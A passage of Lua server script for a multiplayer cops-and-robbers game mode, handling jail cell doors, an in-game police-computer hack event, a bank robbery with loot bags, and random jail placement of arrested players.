--outputDebugString("server: OCJ")
if not OAJ then
if jj == 1 then
if j1o then
moveObject (j1, 1000, 1585.04, -1679.13, 1228)
j1o = false
else
moveObject (j1, 1000, 1586.36, -1679.13, 1228)
j1o = true
end
elseif jj == 2 then
if j2o then
moveObject (j2, 1000, 1580.29, -1679.13, 1228)
j2o = false
else
moveObject (j2, 1000, 1581.63, -1679.13, 1228)
j2o = true
end
elseif jj == 3 then
if j3o then
moveObject (j3, 1000, 1575.54, -1679.13, 1228)
j3o = false
else
moveObject (j3, 1000, 1576.88, -1679.13, 1228)
j3o = true
end
elseif jj == 4 then
if j4o then
moveObject (j4, 1000, 1570.79, -1679.13, 1228)
j4o = false
else
moveObject (j4, 1000, 1572.13, -1679.13, 1228)
j4o = true
end
elseif jj == 5 then
if j5o then
moveObject (j5, 1000, 1583.33, -1662.97, 1228)
j5o = false
else
moveObject (j5, 1000, 1581.99, -1662.97, 1228)
j5o = true
end
elseif jj == 6 then
if j6o then
moveObject (j6, 1000, 1578.58, -1662.97, 1228)
j6o = false
else
moveObject (j6, 1000, 1577.24, -1662.97, 1228)
j6o = true
end
elseif jj == 7 then
if j7o then
moveObject (j7, 1000, 1573.83, -1662.97, 1228)
j7o = false
else
moveObject (j7, 1000, 1572.49, -1662.97, 1228)
j7o = true
end
elseif jj == 8 then
if j8o then
moveObject (j8, 1000, 1569.08, -1662.97, 1228)
j8o = false
else
moveObject (j8, 1000, 1567.74, -1662.97, 1228)
j8o = true
end
elseif jj == 9 then
if j9o then
moveObject (j9, 1000, 1588.84, -1679.13, 1232.2)
j9o = false
else
moveObject (j9, 1000, 1590.18, -1679.13, 1232.2)
j9o = true
end
----------------------------------------------------------------------------------------------------------
elseif jj == 10 then
if j10o then
moveObject (j10, 1000, 1584.09, -1679.13, 1232.2)
j10o = false
else
moveObject (j10, 1000, 1585.43, -1679.13, 1232.2)
j10o = true
end
elseif jj == 11 then
if j11o then
moveObject (j11, 1000, 1579.34, -1679.13, 1232.2)
j11o = false
else
moveObject (j11, 1000, 1580.68, -1679.13, 1232.2)
j11o = true
end
elseif jj == 12 then
if j12o then
moveObject (j12, 1000, 1574.59, -1679.13, 1232.2)
j12o = false
else
moveObject (j12, 1000, 1575.93, -1679.13, 1232.2)
j12o = true
end
elseif jj == 13 then
if j13o then
moveObject (j13, 1000, 1569.84, -1679.13, 1232.2)
j13o = false
else
moveObject (j13, 1000, 1571.18, -1679.13, 1232.2)
j13o = true
end
elseif jj == 14 then
if j14o then
moveObject (j14, 1000, 1565.09, -1679.13, 1232.2)
j14o = false
else
moveObject (j14, 1000, 1566.43, -1679.13, 1232.2)
j14o = true
end
elseif jj == 15 then
if j15o then
moveObject (j15, 1000, 1560.34, -1679.13, 1232.2)
j15o = false
else
moveObject (j15, 1000, 1561.68, -1679.13, 1232.2)
j15o = true
end
elseif jj == 16 then
if j16o then
moveObject (j16, 1000, 1587.13, -1662.97, 1232.2)
j16o = false
else
moveObject (j16, 1000, 1585.79, -1662.97, 1232.2)
j16o = true
end
elseif jj == 17 then
if j17o then
moveObject (j17, 1000, 1582.38, -1662.97, 1232.2)
j17o = false
else
moveObject (j17, 1000, 1581.04, -1662.97, 1232.2)
j17o = true
end
elseif jj == 18 then
if j18o then
moveObject (j18, 1000, 1577.63, -1662.97, 1232.2)
j18o = false
else
moveObject (j18, 1000, 1576.29, -1662.97, 1232.2)
j18o = true
end
elseif jj == 19 then
if j19o then
moveObject (j19, 1000, 1572.88, -1662.97, 1232.2)
j19o = false
else
moveObject (j19, 1000, 1571.54, -1662.97, 1232.2)
j19o = true
end
----------------------------------------------------------------------------------------------------------
elseif jj == 20 then
if j20o then
moveObject (j20, 1000, 1568.13, -1662.97, 1232.2)
j20o = false
else
moveObject (j20, 1000, 1566.79, -1662.97, 1232.2)
j20o = true
end
elseif jj == 21 then
if j21o then
moveObject (j21, 1000, 1563.38, -1662.97, 1232.2)
j21o = false
else
moveObject (j21, 1000, 1562.04, -1662.97, 1232.2)
j21o = true
end
elseif jj == 22 then
if j22o then
moveObject (j22, 1000, 1558.63, -1662.97, 1232.2)
j22o = false
else
moveObject (j22, 1000, 1557.29, -1662.97, 1232.2)
j22o = true
end
elseif jj == 23 then
if j23o then
moveObject (j23, 1000, 1588.84, -1679.13, 1236.28)
j23o = false
else
moveObject (j23, 1000, 1590.18, -1679.13, 1236.28)
j23o = true
end
elseif jj == 24 then
if j24o then
moveObject (j24, 1000, 1584.09, -1679.13, 1236.28)
j24o = false
else
moveObject (j24, 1000, 1585.43, -1679.13, 1236.28)
j24o = true
end
elseif jj == 25 then
if j25o then
moveObject (j25, 1000, 1579.34, -1679.13, 1236.28)
j25o = false
else
moveObject (j25, 1000, 1580.68, -1679.13, 1236.28)
j25o = true
end
elseif jj == 26 then
if j26o then
moveObject (j26, 1000, 1574.59, -1679.13, 1236.28)
j26o = false
else
moveObject (j26, 1000, 1575.93, -1679.13, 1236.28)
j26o = true
end
elseif jj == 27 then
if j27o then
moveObject (j27, 1000, 1569.84, -1679.13, 1236.28)
j27o = false
else
moveObject (j27, 1000, 1571.18, -1679.13, 1236.28)
j27o = true
end
elseif jj == 28 then
if j28o then
moveObject (j28, 1000, 1565.09, -1679.13, 1236.28)
j28o = false
else
moveObject (j28, 1000, 1566.43, -1679.13, 1236.28)
j28o = true
end
elseif jj == 29 then
if j29o then
moveObject (j29, 1000, 1560.34, -1679.13, 1236.28)
j29o = false
else
moveObject (j29, 1000, 1561.68, -1679.13, 1236.28)
j29o = true
end
----------------------------------------------------------------------------------------------------------
elseif jj == 30 then
if j30o then
moveObject (j30, 1000, 1587.13, -1662.97, 1236.28)
j30o = false
else
moveObject (j30, 1000, 1585.79, -1662.97, 1236.28)
j30o = true
end
elseif jj == 31 then
if j31o then
moveObject (j31, 1000, 1582.38, -1662.97, 1236.28)
j31o = false
else
moveObject (j31, 1000, 1581.04, -1662.97, 1236.28)
j31o = true
end
elseif jj == 32 then
if j32o then
moveObject (j32, 1000, 1577.63, -1662.97, 1236.28)
j32o = false
else
moveObject (j32, 1000, 1576.29, -1662.97, 1236.28)
j32o = true
end
elseif jj == 33 then
if j33o then
moveObject (j33, 1000, 1572.88, -1662.97, 1236.28)
j33o = false
else
moveObject (j33, 1000, 1571.54, -1662.97, 1236.28)
j33o = true
end
elseif jj == 34 then
if j34o then
moveObject (j34, 1000, 1568.13, -1662.97, 1236.28)
j34o = false
else
moveObject (j34, 1000, 1566.79, -1662.97, 1236.28)
j34o = true
end
elseif jj == 35 then
if j35o then
moveObject (j35, 1000, 1563.38, -1662.97, 1236.28)
j35o = false
else
moveObject (j35, 1000, 1562.04, -1662.97, 1236.28)
j35o = true
end
elseif jj == 36 then
if j36o then
moveObject (j36, 1000, 1558.63, -1662.97, 1236.28)
j36o = false
else
moveObject (j36, 1000, 1557.29, -1662.97, 1236.28)
j36o = true
end
----------------------------------------------------------------------------------------------------------
elseif bbd then
if bdo then
moveObject (bd, 4000, 1586.33, -1670.51, 1227.07)
bdo = false
else
moveObject (bd, 4000, 1586.33, -1662.73, 1227.07)
bdo = true
end
end
end
if jj == 37 then
if rdo then
moveObject (rd, 1000, 1557.477, -1662.7, 1225.39)
rdo = false
else
moveObject (rd, 1000, 1556.71, -1662.7, 1225.39)
rdo = true
end
elseif ee1 then
if e1o then
moveObject (e1, 1000, 1589.56, -1675.17, 1228)
e1o = false
setTimer(function() badcop1 = false end, 1000, 1)
else
moveObject (e1, 1000, 1590.9, -1675.17, 1228)
e1o = true
badcop1 = player
end
elseif jj == 38 then
if e2o then
moveObject (e2, 2000, 1554.44, -1670.57, 1226.9)
e2o = false
setTimer(function() badcop2 = false end, 2000, 1)
else
moveObject (e2, 2000, 1554.44, -1670.57, 1229.4)
e2o = true
badcop2 = player
end
elseif ojj then
if not hacked then
hacked = true
setTimer(function() hacked = false end, 300000, 1)
gpwantl = getElementData(player, "WantLvl")
if gpwantl < 3 then
setElementData(player, "WantLvl", gpwantl+3)
else
setElementData(player, "WantLvl", 6)
end
--hlspdpc[player] = setTimer(HPC, 60000, 1, player)
hlspdpc[player] = true
triggerClientEvent(player, "onHackPc", player, true)
setElementFrozen(player, true)
setElementPosition(player, 230.75, 76.41397, 1005.03906)
setPedRotation(player, 0)
setPedAnimation(player, "INT_OFFICE", "OFF_Sit_Type_Loop", -1, true, false)
setElementData(player, "Task", "TASK_SIMPLE_NAMED_ANIM")
exports["guimessages"]:outputServer(player, ahptext[player], 255, 0, 0)
triggerClientEvent("Tcheckntf", player, 'y', 'hack', 'y', ahptext[player], player)
hackAnimTimer = setTimer(function(player)
if isElement(player) then
if getElementData(player, "Task") ~= "TASK_SIMPLE_NAMED_ANIM" then
setPedAnimation(player, "INT_OFFICE", "OFF_Sit_Type_Loop", -1, true, false)
end
else
if isTimer(hackAnimTimer) then killTimer(hackAnimTimer) end
end
end, 100, 0, player)
for _, players in ipairs(getElementsByType("player")) do
if getPlayerTeam(players) == Police then
exports["guimessages"]:outputServer(players, wrntext[players], 255, 0, 0)
exports["guimessages"]:outputServer(players, hr1text[players]..''..getPlayerName(player)..''..hr2text[players], 255, 0, 0)
end
triggerClientEvent("Tcheckntf", players, 'r', 'hack', 'r', hr1text[players]..''..getPlayerName(player)..''..hr2text[players], players)
end
else
exports["guimessages"]:outputServer(player, phdtext[player], 255, 255, 0)
end
elseif dbank then
if getPlayerCount() < 20 then
exports ["guimessages"]:outputServer(player, "You can't rob the bank right now! لايمكن سرقة البنك الاّن", 255, 255, 0)
else
if not robank then
setElementData(bag, "RBANK", 0)
robank = true
ttb = true
rbp = player
setTimer(function() robank = false
rbp = false
str = false
bagr = false
rbank1 = false
rbank2 = false
rbank3 = false
rbank4 = false
rbank5 = false
rbank6 = false
rbank7 = false
rbank8 = false
moveObject(bgate, 3000, 590.8, -1267.62, 1287.31)
end, 1440000, 1)
setTimer(FTRB, 750000, 1)
strt = setTimer(function() str = true
strt = false
triggerClientEvent("SSafes", rbp, rbp)
moveObject(bgate, 3000, 590.8, -1266, 1287.31)
end, 5000, 1)
gpwanl = getElementData(player, "WantLvl")
if gpwanl < 3 then
setElementData(player, "WantLvl", gpwanl+3)
else
setElementData(player, "WantLvl", 6)
end
exports["guimessages"]:outputServer(player, arbtext[player], 255, 0, 0)
triggerClientEvent("Tcheckntf", player, 'y', 'br', 'y', arbtext[player], player)
triggerClientEvent("dbanim", getRootElement(), rbp)
for _, players in ipairs(getElementsByType("player")) do
--if getPlayerTeam(players) == Police then
if players ~= player then
exports["guimessages"]:outputServer(players, wrntext[players], 255, 0, 0)
exports["guimessages"]:outputServer(players, rrb1text[players]..''..getPlayerName(player)..''..rrb2text[players], 255, 0, 0)
triggerClientEvent("Tcheckntf", players, 'r', 'br', 'r', rrb1text[players]..''..getPlayerName(player)..''..rrb2text[players], players)
end
end
elseif rbp ~= player then
exports["guimessages"]:outputServer(player, brdtext[player], 255, 255, 0)
end
end
elseif robbank == 1 then
if rbp == player then
if not rbank1 then
rbb = 1
triggerClientEvent("rbanim", getRootElement(), rbp, rbb)
setElementData(bag, "RBANK", getElementData(bag, "RBANK")+1)
rbank1 = true
end
end
elseif robbank == 2 then
if rbp == player then
if not rbank2 then
rbb = 2
triggerClientEvent("rbanim", getRootElement(), rbp, rbb)
setElementData(bag, "RBANK", getElementData(bag, "RBANK")+1)
rbank2 = true
end
end
elseif robbank == 3 then
if rbp == player then
if not rbank3 then
rbb = 3
triggerClientEvent("rbanim", getRootElement(), rbp, rbb)
setElementData(bag, "RBANK", getElementData(bag, "RBANK")+1)
rbank3 = true
end
end
elseif robbank == 4 then
if rbp == player then
if not rbank4 then
rbb = 4
triggerClientEvent("rbanim", getRootElement(), rbp, rbb)
setElementData(bag, "RBANK", getElementData(bag, "RBANK")+1)
rbank4 = true
end
end
elseif robbank == 5 then
if rbp == player then
if not rbank5 then
rbb = 5
triggerClientEvent("rbanim", getRootElement(), rbp, rbb)
setElementData(bag, "RBANK", getElementData(bag, "RBANK")+1)
rbank5 = true
end
end
elseif robbank == 6 then
if rbp == player then
if not rbank6 then
rbb = 6
triggerClientEvent("rbanim", getRootElement(), rbp, rbb)
setElementData(bag, "RBANK", getElementData(bag, "RBANK")+1)
rbank6 = true
end
end
elseif robbank == 7 then
if rbp == player then
if not rbank7 then
rbb = 7
triggerClientEvent("rbanim", getRootElement(), rbp, rbb)
setElementData(bag, "RBANK", getElementData(bag, "RBANK")+1)
rbank7 = true
end
end
elseif robbank == 8 then
if rbp == player then
if not rbank8 then
rbb = 8
triggerClientEvent("rbanim", getRootElement(), rbp, rbb)
setElementData(bag, "RBANK", getElementData(bag, "RBANK")+1)
rbank8 = true
end
end
end
if ttb then
if robbank or bagm then
if str and not bagr then
rbp = player
bagr = true
bint = getElementInterior(player)
bdim = getElementDimension(player)
setElementInterior(bag, bint)
setElementDimension(bag, bdim)
setElementInterior(rul, bint)
setElementDimension(rul, bdim)
exports.bone_attach:attachElementToBone(bag, player, 3, 0, -.27, 0, 0, 0, 160)
exports.bone_attach:attachElementToBone(rul, player, 3, 0, -.27, -.37)
if not rdotb then
rdotb = createBlipAttachedTo(bag, 36)
end
if getPlayerTeam(player) == Police then
triggerClientEvent("BTBTTB", getRootElement(), rbp, rbank1, rbank2, rbank3, rbank4, rbank5, rbank6, rbank7, rbank8)
else
setElementData(player, "WantLvl", 6)
triggerClientEvent("SafesM", getRootElement(), rbp, rbank1, rbank2, rbank3, rbank4, rbank5, rbank6, rbank7, rbank8)
end
end
end
end
end
addEventHandler("TOCJ", getRootElement(), OCJ)
function SBID()
if rbp == source then
bint = getElementDimension(source)
bdim = getElementInterior(source)
setElementInterior(bag, bint)
setElementDimension(bag, bdim)
setElementInterior(rul, bint)
setElementDimension(rul, bdim)
end
end
addEventHandler("onPlayerMarkerLeave", getRootElement(), SBID)
addEvent("DBFR", true)
function FDBFR(x, y, gz)
exports.bone_attach:detachElementFromBone(bag)
exports.bone_attach:detachElementFromBone(rul)
if gz then
setElementPosition(bag, x, y, gz+.4)
setElementPosition(rul, x, y, gz+.03)
end
setElementRotation(bag, 0, 0, 0)
setElementRotation(rul, 0, 0, 0)
bagr = false
rbp = false
triggerClientEvent("DropB", getRootElement(), x, y, gz)
--ttb = false
--[[if rdotb then
destroyElement(rdotb)
rdotb = false
end]]
end
addEventHandler("DBFR", getRootElement(), FDBFR)
addEvent("Rbag", true)
function FRbag(player)
exports.bone_attach:detachElementFromBone(bag)
exports.bone_attach:detachElementFromBone(rul)
setElementPosition(bag, 0, 0, 0)
setElementPosition(rul, 0, 0, 0)
if rbp == player and getPlayerTeam(rbp) == Police then
exports["guimessages"]:outputServer(player, amr1text[player]..'3000'..amr2text[player], 0, 255, 0)
end
rbp = false
ttb = false
if rdotb then
destroyElement(rdotb)
rdotb = false
end
end
addEventHandler("Rbag", getRootElement(), FRbag)
function HPC(player)
--outputDebugString("server: HPC")
hlspdpc[player] = false
lspdh = true
setTimer(function() lspdh = false end, 30000, 1)
setElementData(player, "WantLvl", 6)
exports["guimessages"]:outputServer(player, shptext[player], 0, 255, 0)
setPedAnimation(player, false)
setElementFrozen(player, false)
if isTimer(hackAnimTimer) then killTimer(hackAnimTimer) end
--triggerClientEvent(player,"xHackPcDonex",player)
triggerClientEvent(player, "onHackPc", player, false)
triggerClientEvent("Tcheckntf", player, 'g', 'hack', 'g', shptext[player], player)
for _, players in ipairs(getElementsByType("player")) do
if getPlayerTeam(players) == Police then
exports["guimessages"]:outputServer(players, wrntext[players], 255, 0, 0)
exports["guimessages"]:outputServer(players, shr1text[players]..''..getPlayerName(player)..''..shr2text[players], 255, 0, 0)
elseif getElementData(players, "Stats") > 2 then
exports["guimessages"]:outputServer(players, hpt1text[players]..''..getPlayerName(player)..''..hpt2text[players], 255, 255, 0)
if getPlayerTeam(players) == getPlayerTeam(player) then
--[[Mplayer = player
reward = 500
rscore = 2
triggerClientEvent(player, "GPM", player, Mplayer, reward, rscore)]]
setElementData(player, "Money", getElementData(player, "Money")+500)
setElementData(player, "Scores", getElementData(player, "Scores")+2)
else
--[[Mplayer = player
reward = 200
rscore = 1
triggerClientEvent(player, "GPM", player, Mplayer, reward, rscore)]]
setElementData(player, "Money", getElementData(player, "Money")+200)
setElementData(player, "Scores", getElementData(player, "Scores")+1)
end
end
end
moveObject (j1, 1000, 1586.36, -1679.13, 1228)
moveObject (j2, 1000, 1581.63, -1679.13, 1228)
moveObject (j3, 1000, 1576.88, -1679.13, 1228)
moveObject (j4, 1000, 1572.13, -1679.13, 1228)
moveObject (j5, 1000, 1581.99, -1662.97, 1228)
moveObject (j6, 1000, 1577.24, -1662.97, 1228)
moveObject (j7, 1000, 1572.49, -1662.97, 1228)
moveObject (j8, 1000, 1567.74, -1662.97, 1228)
moveObject (j9, 1000, 1590.18, -1679.13, 1232.2)
moveObject (j10, 1000, 1585.43, -1679.13, 1232.2)
moveObject (j11, 1000, 1580.68, -1679.13, 1232.2)
moveObject (j12, 1000, 1575.93, -1679.13, 1232.2)
moveObject (j13, 1000, 1571.18, -1679.13, 1232.2)
moveObject (j14, 1000, 1566.43, -1679.13, 1232.2)
moveObject (j15, 1000, 1561.68, -1679.13, 1232.2)
moveObject (j16, 1000, 1585.79, -1662.97, 1232.2)
moveObject (j17, 1000, 1581.04, -1662.97, 1232.2)
moveObject (j18, 1000, 1576.29, -1662.97, 1232.2)
moveObject (j19, 1000, 1571.54, -1662.97, 1232.2)
moveObject (j20, 1000, 1566.79, -1662.97, 1232.2)
moveObject (j21, 1000, 1562.04, -1662.97, 1232.2)
moveObject (j22, 1000, 1557.29, -1662.97, 1232.2)
moveObject (j23, 1000, 1590.18, -1679.13, 1236.28)
moveObject (j24, 1000, 1585.43, -1679.13, 1236.28)
moveObject (j25, 1000, 1580.68, -1679.13, 1236.28)
moveObject (j26, 1000, 1575.93, -1679.13, 1236.28)
moveObject (j27, 1000, 1571.18, -1679.13, 1236.28)
moveObject (j28, 1000, 1566.43, -1679.13, 1236.28)
moveObject (j29, 1000, 1561.68, -1679.13, 1236.28)
moveObject (j30, 1000, 1585.79, -1662.97, 1236.28)
moveObject (j31, 1000, 1581.04, -1662.97, 1236.28)
moveObject (j32, 1000, 1576.29, -1662.97, 1236.28)
moveObject (j33, 1000, 1571.54, -1662.97, 1236.28)
moveObject (j34, 1000, 1566.79, -1662.97, 1236.28)
moveObject (j35, 1000, 1562.04, -1662.97, 1236.28)
moveObject (j36, 1000, 1557.29, -1662.97, 1236.28)
moveObject (bd, 4000, 1586.33, -1662.73, 1227.07)
moveObject (e1, 1000, 1590.9, -1675.17, 1228)
moveObject (e2, 2000, 1554.44, -1670.57, 1229.4)
end
addEvent("onHackPcComplete", true)
addEventHandler("onHackPcComplete", root, HPC)
addEvent("OMH", true)
function FOMH(player)
--outputDebugString("server: FOMH")
if rbp == player and str then
rbp = false
ttb = false
brobbed = getElementData(bag, "RBANK")
if brobbed > 8 then
brobbed = 8
end
rmoney = brobbed*1000+math.random(0, 2000)
--[[Mplayer = player
reward = rmoney
rscore = brobbed
triggerClientEvent(player, "GPM", player, Mplayer, reward, rscore)]]
setElementData(player, "Money", getElementData(player, "Money")+rmoney)
setElementData(player, "Scores", getElementData(player, "Scores")+brobbed)
exports["guimessages"]:outputServer(player, rmb1text[player]..''..rmoney..''..rmb2text[player], 0, 255, 0)
triggerClientEvent("Tcheckntf", player, 'g', 'br', 'g', rmb1text[player]..''..rmoney..''..rmb2text[player], player)
setElementData(bag, "RBANK", 0)
for _, players in ipairs(getElementsByType("player")) do
exports["guimessages"]:outputServer(players, mrmb1text[players]..''..getPlayerName(player)..''..mrmb2text[players]..''..rmoney..''..mrmb3text[players], 255, 0, 0)
end
if rdotb then
destroyElement(rdotb)
rdotb = false
end
exports.bone_attach:detachElementFromBone(bag)
exports.bone_attach:detachElementFromBone(rul)
setElementPosition(bag, 0, 0, 0)
setElementPosition(rul, 0, 0, 0)
rbp = false
end
end
addEventHandler("OMH", getRootElement(), FOMH)
function FTRB()
--outputDebugString("server: FTRB")
for _, players in ipairs(getElementsByType("player")) do
if rbp == players then
rbp = false
if getPlayerTeam(players) ~= Police then
exports["guimessages"]:outputServer(players, frbtext[players], 255, 0, 0)
end
FRbag(players)
triggerClientEvent("CROB", players)
end
end
end
addEvent("PIJ", true)
function PPIJ(player, cop)
--outputDebugString("server: PPIJ")
--outputChatBox("PPIJ")
WLP = getElementData(player, "WantLvl")
WLPM = WLP*500
--[[Mplayer = cop
reward = WLPM
rscore = WLP*2
triggerClientEvent(cop, "GPM", cop, Mplayer, reward, rscore)]]
setElementData(cop, "Money", getElementData(cop, "Money")+WLPM)
setElementData(cop, "Scores", getElementData(cop, "Scores")+(WLP*2))
setElementData(player, "WantLvl", 0)
setElementData(player, "Stats", 3)
setElementData(cop, "Prisoners", 0)
setElementData(player, "SDG", 0)
setElementData(player, "MDG", 0)
setElementData(player, "EDG", 0)
toggleControl(player, "fire", true)
toggleControl(player, "jump", true)
setPedFightingStyle(player, 15)
setPedWeaponSlot(player, 0)
setElementInterior(player, 1)
player = cop
exports["guimessages"]:outputServer(cop, amr1text[cop]..''..WLPM..''..amr2text[cop], 0, 255, 0)
OCJ(player)
end
addEventHandler("PIJ", getRootElement(), PPIJ)
addEvent("SSPTJ", true)
function SPTJ(prsnr, cop)
--outputDebugString("server: SPTJ")
WLP = getElementData(prsnr, "WantLvl")
WLPM = WLP*200
exports["guimessages"]:outputServer(cop, amr1text[cop]..''..WLPM..''..amr2text[cop], 0, 255, 0)
--[[Mplayer = cop
reward = WLPM
rscore = WLP
triggerClientEvent(cop, "GPM", cop, Mplayer, reward, rscore)]]
setElementData(cop, "Money", getElementData(cop, "Money")+WLPM)
setElementData(cop, "Scores", getElementData(cop, "Scores")+WLP)
--jailer = prsnr
triggerClientEvent("CPIJ", prsnr, prsnr)
setElementData(cop, "Prisoners", 0)
setElementData(prsnr, "WantLvl", 0)
PPIJOW(prsnr)
end
addEventHandler("SSPTJ", getRootElement(), SPTJ)
addEvent("PPIJOPW", true)
function PPIJOW(prsnr, model, team)
--outputDebugString("server: PPIJOW")
if isPedDead(prsnr) then
spawnPlayer(prsnr, 0, 0, 0, 0, model, 0, 0, team)
if getTeamFromName("Medic") == team then
giveWeapon(prsnr, 41, 999999)
giveWeapon(prsnr, 41, 999999)
end
elseif isPedInVehicle(prsnr) then
removePedFromVehicle(prsnr)
end
if not getPlayerTeam(prsnr) then
setPlayerTeam(prsnr, team)
end
setCameraTarget(prsnr)
setElementInterior(prsnr, 1)
setCameraInterior(prsnr,1)
setPedFightingStyle(prsnr, 15)
setElementData(prsnr, "Stats", 3)
setElementData(prsnr, "WantLvl", 0)
setElementData(prsnr, "SDG", 0)
setElementData(prsnr, "MDG", 0)
setElementData(prsnr, "EDG", 0)
setPedWeaponSlot(prsnr, 0)
toggleControl(prsnr, "fire", true)
toggleControl(prsnr, "jump", true)
toggleControl(prsnr, "next_weapon", false)
toggleControl(prsnr, "previous_weapon", false)
pjail = math.random(1, 36)
if pjail == 1 then
setElementPosition(prsnr, 1584, -1681, 1227)
setPedRotation(prsnr, 0)
elseif pjail == 2 then
setElementPosition(prsnr, 1579, -1681, 1227)
setPedRotation(prsnr, 0)
elseif pjail == 3 then
setElementPosition(prsnr, 1575, -1681, 1227)
setPedRotation(prsnr, 0)
elseif pjail == 4 then
setElementPosition(prsnr, 1570, -1681, 1227)
setPedRotation(prsnr, 0)
elseif pjail == 5 then
setElementPosition(prsnr, 1584, -1661, 1227)
setPedRotation(prsnr, 180)
elseif pjail == 6 then
setElementPosition(prsnr, 1579, -1661, 1227)
setPedRotation(prsnr, 180)
elseif pjail == 7 then
setElementPosition(prsnr, 1585, -1661, 1227)
setPedRotation(prsnr, 180)
elseif pjail == 8 then
setElementPosition(prsnr, 1570, -1661, 1227)
setPedRotation(prsnr, 180)
elseif pjail == 9 then
setElementPosition(prsnr, 1588, -1681, 1231)
setPedRotation(prsnr, 0)
elseif pjail == 10 then
setElementPosition(prsnr, 1584, -1681, 1231)
setPedRotation(prsnr, 0)
elseif pjail == 11 then
setElementPosition(prsnr, 1579, -1681, 1231)
setPedRotation(prsnr, 0)
elseif pjail == 12 then
setElementPosition(prsnr, 1575, -1681, 1231)
setPedRotation(prsnr, 0)
elseif pjail == 13 then
setElementPosition(prsnr, 1570, -1681, 1231)
setPedRotation(prsnr, 0)
elseif pjail == 14 then
setElementPosition(prsnr, 1564, -1681, 1231)
setPedRotation(prsnr, 0)
elseif pjail == 15 then
setElementPosition(prsnr, 1560, -1681, 1231)
setPedRotation(prsnr, 0)
elseif pjail == 16 then
setElementPosition(prsnr, 1588, -1661, 1231)
setPedRotation(prsnr, 180)
elseif pjail == 17 then
setElementPosition(prsnr, 1584, -1661, 1231)
setPedRotation(prsnr, 180)
elseif pjail == 18 then
setElementPosition(prsnr, 1579, -1661, 1231)
setPedRotation(prsnr, 180)
elseif pjail == 19 then
setElementPosition(prsnr, 1575, -1661, 1231)
setPedRotation(prsnr, 180)
elseif pjail == 20 then
setElementPosition(prsnr, 1570, -1661, 1231)
setPedRotation(prsnr, 180)
elseif pjail == 21 then
setElementPosition(prsnr, 1564, -1661, 1231)
setPedRotation(prsnr, 180)
elseif pjail == 22 then
setElementPosition(prsnr, 1560, -1661, 1231)
setPedRotation(prsnr, 180)
elseif pjail == 23 then
setElementPosition(prsnr, 1588, -1681, 1235)
setPedRotation(prsnr, 0)
elseif pjail == 24 then
setElementPosition(prsnr, 1584, -1681, 1235)
setPedRotation(prsnr, 0)
elseif pjail == 25 then
setElementPosition(prsnr, 1579, -1681, 1235)
setPedRotation(prsnr, 0)
elseif pjail == 26 then
setElementPosition(prsnr, 1575, -1681, 1235)
setPedRotation(prsnr, 0)
elseif pjail == 27 then
setElementPosition(prsnr, 1570, -1681, 1235)
setPedRotation(prsnr, 0)
elseif pjail == 28 then
setElementPosition(prsnr, 1564, -1681, 1235)
setPedRotation(prsnr, 0)
elseif pjail == 29 then
setElementPosition(prsnr, 1560, -1681, 1235)
setPedRotation(prsnr, 0)
elseif pjail == 30 then
setElementPosition(prsnr, 1588, -1661, 1235)
setPedRotation(prsnr, 180)
elseif pjail == 31 then
setElementPosition(prsnr, 1584, -1661, 1235)
setPedRotation(prsnr, 180)
elseif pjail == 32 then
setElementPosition(prsnr, 1579, -1661, 1235)
setPedRotation(prsnr, 180)
elseif pjail == 33 then
setElementPosition(prsnr, 1575, -1661, 1235)
setPedRotation(prsnr, 180)
elseif pjail == 34 then
setElementPosition(prsnr, 1570, -1661, 1235)
setPedRotation(prsnr, 180)
elseif pjail == 35 then
setElementPosition(prsnr, 1564, -1661, 1235)
setPedRotation(prsnr, 180)
elseif pjail == 36 then
setElementPosition(prsnr, 1560, -1661, 1235)
setPedRotation(prsnr, 180)
end
end
addEventHandler("PPIJOPW", getRootElement(), PPIJOW)
addEvent("ReVehicleJail", true)
addEventHandler("ReVehicleJail", root,
function(player)
removePedFromVehicle(player)
setElementInterior(player, 1)
pjail = math.random(1, 36)
if pjail == 1 then
setElementPosition(player, 1584, -1681, 1227)
setPedRotation(player, 0)
elseif pjail == 2 then
setElementPosition(player, 1579, -1681, 1227)
setPedRotation(player, 0)
elseif pjail == 3 then
setElementPosition(player, 1575, -1681, 1227)
setPedRotation(player, 0)
elseif pjail == 4 then
setElementPosition(player, 1570, -1681, 1227)
setPedRotation(player, 0)
elseif pjail == 5 then
setElementPosition(player, 1584, -1661, 1227)
setPedRotation(player, 180)
elseif pjail == 6 then
setElementPosition(player, 1579, -1661, 1227)
setPedRotation(player, 180)
elseif pjail == 7 then
setElementPosition(player, 1585, -1661, 1227)
setPedRotation(player, 180)
elseif pjail == 8 then
setElementPosition(player, 1570, -1661, 1227)
setPedRotation(player, 180)
elseif pjail == 9 then
setElementPosition(player, 1588, -1681, 1231)
setPedRotation(player, 0)
elseif pjail == 10 then
setElementPosition(player, 1584, -1681, 1231)
setPedRotation(player, 0)
elseif pjail == 11 then
setElementPosition(player, 1579, -1681, 1231)
setPedRotation(player, 0)
elseif pjail == 12 then
setElementPosition(player, 1575, -1681, 1231)
setPedRotation(player, 0)
elseif pjail == 13 then
setElementPosition(player, 1570, -1681, 1231)
setPedRotation(player, 0)
elseif pjail == 14 then
setElementPosition(player, 1564, -1681, 1231)
setPedRotation(player, 0)
elseif pjail == 15 then
setElementPosition(player, 1560, -1681, 1231)
setPedRotation(player, 0)
elseif pjail == 16 then
setElementPosition(player, 1588, -1661, 1231)
setPedRotation(player, 180)
elseif pjail == 17 then
setElementPosition(player, 1584, -1661, 1231)
setPedRotation(player, 180)
elseif pjail == 18 then
setElementPosition(player, 1579, -1661, 1231)
setPedRotation(player, 180)
elseif pjail == 19 then
setElementPosition(player, 1575, -1661, 1231)
setPedRotation(player, 180)
elseif pjail == 20 then
setElementPosition(player, 1570, -1661, 1231)
setPedRotation(player, 180)
elseif pjail == 21 then
setElementPosition(player, 1564, -1661, 1231)
setPedRotation(player, 180)
elseif pjail == 22 then
setElementPosition(player, 1560, -1661, 1231)
setPedRotation(player, 180)
elseif pjail == 23 then
setElementPosition(player, 1588, -1681, 1235)
setPedRotation(player, 0)
elseif pjail == 24 then
setElementPosition(player, 1584, -1681, 1235)
setPedRotation(player, 0)
elseif pjail == 25 then
setElementPosition(player, 1579, -1681, 1235)
setPedRotation(player, 0)
elseif pjail == 26 then
setElementPosition(player, 1575, -1681, 1235)
setPedRotation(player, 0)
elseif pjail == 27 then
setElementPosition(player, 1570, -1681, 1235)
setPedRotation(player, 0)
elseif pjail == 28 then
setElementPosition(player, 1564, -1681, 1235)
setPedRotation(player, 0)
elseif pjail == 29 then
setElementPosition(player, 1560, -1681, 1235)
setPedRotation(player, 0)
elseif pjail == 30 then
